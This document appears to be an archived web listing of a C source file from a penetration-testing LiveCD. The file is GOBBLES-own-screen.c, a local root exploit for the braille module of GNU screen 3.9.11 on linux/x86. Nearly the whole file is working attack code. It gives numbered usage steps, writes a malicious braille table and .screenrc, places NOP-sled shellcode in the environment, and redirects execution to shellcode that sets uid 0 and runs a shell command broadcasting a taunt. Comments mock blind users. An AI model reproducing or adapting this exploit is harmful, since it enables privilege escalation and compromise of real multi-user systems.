home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / terminals / screen / GOBBLES-own-screen.c < prev   
C/C++ Source or Header  |  2005-02-12  |  6KB  |  222 lines

  1. /*
  2.   screen 3.9.11 local root exploit for braille module 
  3.   dedicated to the $ecurity Community, where blind leading blind.
  4.   code for: linux/x86
  5.  
  6.   to use:
  7.   1) edit paths in #defines
  8.   2) gcc -o GOBBLES-own-screen GOBBLES-own-screen.c
  9.   3) ./GOBBLES-own-screen -p
  10.   4) ./GOBBLES-own-screen -f
  11.   5) ./GOBBLES-own-screen -a 0xGOBBLES
  12.  
  13.   if you want rootshell, that up to you to modify exploit.
  14.  
  15.   beware vicious remote root exploit coming from GOBBLES for Sun Solaris
  16.   version 6-8, hurry up Sun to make patch. . .
  17. */
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <unistd.h>
  23.  
  24. #define NULLBASE     48
  25. #define TABLE        "/home/GOBBLES/hacking/.scrx"
  26. #define SCREENRC    "/home/GOBBLES/hacking/.screenrc"
  27. #define SCREEN        "/home/GOBBLES/hacking/current/screen-3.9.11/screen"
  28. #define FIND        1
  29. #define PUT        0
  30. #define OFFSET        -40300 
  31. #define SHELL        "/bin/bash" 
  32. #define NOP        0x90
  33.  
  34. void bta(int byte, char *store);
  35. void stuff(int que);
  36.  
  37. unsigned long get_sp(void)
  38. {       __asm__ ("movl %esp, %eax");
  39.     // rumor is Cousin WOBBLES leaked this public, hehehe thnx!
  40. }
  41.  
  42. int
  43. main(int argc, char **argv)
  44. {
  45.     char *a, *tmp, buf[64], store[10], c;
  46.     unsigned long address;
  47.     unsigned int w[4];
  48.     int i, b, start;    
  49.     FILE *fd;
  50.  
  51.     if(argc == 1) {
  52.         fprintf(stderr, "\n%s [ -p ] [ -f ] [ -a <shellcode address> -o <offset to GOT address> ]\n\n", argv[0]);
  53.         fprintf(stderr, "-p switch places shellcode into memory\n");
  54.         fprintf(stderr, "-f switch finds shellcode address\n\n");
  55.         fprintf(stderr, "No switch runs exploit with options:\n");
  56.         fprintf(stderr, "\t-a <shellcode address>\n");
  57.         fprintf(stderr, "\t-o <offset to GOT address>\n\n");
  58.         exit(0);
  59.     }
  60.     
  61.     start = OFFSET;
  62.     
  63.     while((c = getopt(argc, argv, "pfa:o:")) != EOF) {
  64.         switch(c) {
  65.             case 'p':
  66.                 stuff(PUT);
  67.                 exit(0);
  68.             case 'f':
  69.                 stuff(FIND);
  70.                 exit(0);
  71.             case 'a':
  72.                 sscanf(optarg, "%p", &tmp);
  73.                 address = (long)tmp;
  74.                 break;
  75.             case 'o':
  76.                 start = atoi(optarg);
  77.                 break;
  78.             default:
  79.                 fprintf(stderr, "hehehehe?\n");
  80.                 exit(0);
  81.         }
  82.     }
  83.                 
  84.             
  85.     fprintf(stderr, ". preparing evil braille table\n");
  86.  
  87.     if((fd = fopen(TABLE, "w")) == NULL) {
  88.                 perror("fopen");
  89.                 exit(1);
  90.         }
  91.  
  92.     fprintf(stderr, ". converting: 0x%lx into braille table strings\n", address); 
  93.  
  94.     w[0] = (address & 0x000000ff);
  95.         w[1] = (address & 0x0000ff00) >> 8;
  96.         w[2] = (address & 0x00ff0000) >> 16;
  97.         w[3] = (address & 0xff000000) >> 24;
  98.     
  99.     for(i = 0; i < 4; i++) { 
  100.         memset(store, 'o', 9);
  101.         bta(w[i], store);
  102.         memset(buf, '\0', sizeof(buf));
  103.         snprintf(buf, sizeof(buf), "%d ff %s\n", start+i, store);
  104.         fprintf(stderr, ". writing to braille table: %s", buf);
  105.         fprintf(fd, "%s", buf);
  106.     }
  107.     
  108.     fclose(fd);
  109.     
  110.     fprintf(stderr, ". preparing evil .screenrc\n");
  111.         
  112.     if((fd = fopen(SCREENRC, "w")) == NULL) {
  113.                 perror("fopen");
  114.                 exit(1);
  115.         }
  116.     
  117.     fprintf(fd, "bd_start_braille on\n");
  118.     memset(buf, '\0', sizeof(buf));
  119.     snprintf(buf, sizeof(buf), "bd_braille_table %s\n", TABLE);
  120.     fprintf(fd, "%s", buf);
  121.     fprintf(fd, "bd_type powerbraille_40\n");
  122.     fprintf(fd, "bd_port /dev/ttyS0\n");
  123.     fclose(fd);
  124.     
  125.     fprintf(stderr, ". now exploiting blind, hehehe\n");
  126.     
  127.     if(execl(SCREEN, "screen", "-c", SCREENRC, NULL)) {
  128.         fprintf(stderr, ". error executing\n");
  129.         exit(1);
  130.     } 
  131. }
  132.  
  133. void
  134. bta(int byte, char *store)
  135. {
  136.     int check[9], i, b, tmp;
  137.     
  138.     check[0] = 0;
  139.     check[1] = 1;
  140.     check[2] = 2;
  141.     check[3] = 4;
  142.     check[4] = 8;
  143.     check[5] = 16;
  144.     check[6] = 32;
  145.     check[7] = 64;
  146.     check[8] = 128;
  147.  
  148.     tmp = byte;
  149.     for(i = 8; i >= 0; i--) {
  150.         if(check[i] <= tmp) { 
  151.             tmp -= check[i];
  152.             store[i] = 'x';
  153.         }
  154.     }
  155.     
  156.     for(i = 0; i < 9; i++) {
  157.         if(store[i] == 'x') 
  158.             store[i] = NULLBASE + i;
  159.         else
  160.             store[i] = NULLBASE;
  161.     }
  162.     store[9] = '\0';
  163.     fprintf(stderr, ". braille table string for byte: 0x%x is: %s\n", byte, store);
  164. }
  165.  
  166. void
  167. stuff(int que)   
  168. {
  169.     char *p, codebuf[4097], code[] =
  170.         // borrowed shellcode, GOBBLES lazy today,
  171.     // not sure who to credit for it, if it 
  172.         // yours please email GOBBLES@hushmail.com
  173.         // to be acknowledged!
  174.     "\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb"
  175.         "\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a"
  176.         "\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47"
  177.         "\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89"
  178.         "\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b"
  179.         "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
  180.         "\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41"
  181.         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  182.         "\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63"
  183.         "\x30"
  184.     
  185.     // hehehe..hoping blind not deaf so he can hear beep, hehehe.
  186.     "echo \"Hope you not really blind, because you now owned by unethical penetrator using ethical GOBBLES exploit, hehehehe ;Pppppp\" | wall";
  187.     // also let user on shell provider know system comprimised, hehe.
  188.     char *locate = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
  189.     int i;
  190.  
  191.     if(que == PUT) {
  192.         // adding many nops to build much suspense hehehe
  193.         memset(&codebuf, '\0', sizeof(codebuf));
  194.             memset(codebuf, NOP, (sizeof(codebuf) - 1));
  195.             memcpy(codebuf + (sizeof(codebuf) - strlen(code) - 1), code, strlen(code));
  196.         fprintf(stderr, ". run GOBBLES-own-screen -f\n");
  197.         if(setenv("CODE", codebuf, 1) == -1) {
  198.                     fprintf(stderr, ". no mem for shellcode\n");
  199.                     return;
  200.             }
  201.         
  202.         system(SHELL);
  203.     }
  204.      else if(que == FIND) {
  205.         // track down nops
  206.             fprintf(stderr, ". getting address\n");
  207.         p = (char *)get_sp();
  208.         while((i = strncmp(p, locate, strlen(locate))) != 0) 
  209.             p++;        
  210.  
  211.         if(i == 0) {
  212.             fprintf(stderr, ". shellcode found at: 0x%lx\n", p+1);
  213.                      return;
  214.         }
  215.         else {
  216.             fprintf(stderr, ". trouble locating shellcode\n");
  217.             return;
  218.         }
  219.     }
  220. }
  221.  
  222.